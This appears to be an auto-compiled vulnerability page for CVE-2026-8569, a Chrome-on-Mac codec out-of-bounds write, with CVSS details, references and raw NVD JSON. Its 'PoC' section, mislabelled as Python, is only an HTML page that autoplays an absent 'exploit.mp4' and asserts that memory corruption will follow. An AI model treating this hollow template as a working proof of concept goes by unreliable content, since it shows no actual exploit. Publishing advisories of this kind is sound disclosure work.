CVE-2026-8569

Description

Out of bounds write in Codecs in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome (Mac) < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-8569
  Description: HTML snippet to trigger the vulnerability via a crafted video file.
  Usage: Host this file with 'exploit.mp4' and open in vulnerable Chrome version.
-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-8569 PoC</title>
</head>
<body>
    <h1>Chrome Codec OOB Write PoC</h1>
    <!-- The crafted video file triggers the out of bounds write in Codecs -->
    <video id="targetVideo" controls autoplay width="640">
        <source src="exploit.mp4" type="video/mp4">
        Your browser does not support the video tag.
    </video>
    <script>
        const video = document.getElementById('targetVideo');
        video.addEventListener('play', () => {
            console.log('Video playback started. Memory corruption should occur shortly.');
        });
        
        video.addEventListener('error', (e) => {
            console.log('Video error:', e);
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8569
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8569
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8569/
[4] VulDB https://vuldb.com/cve/CVE-2026-8569
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/490229299

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8569", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:19.127", "lastModified": "2026-05-14T22:16:50.293", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds write in Codecs in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/490229299", "source": "[email protected]"}]}}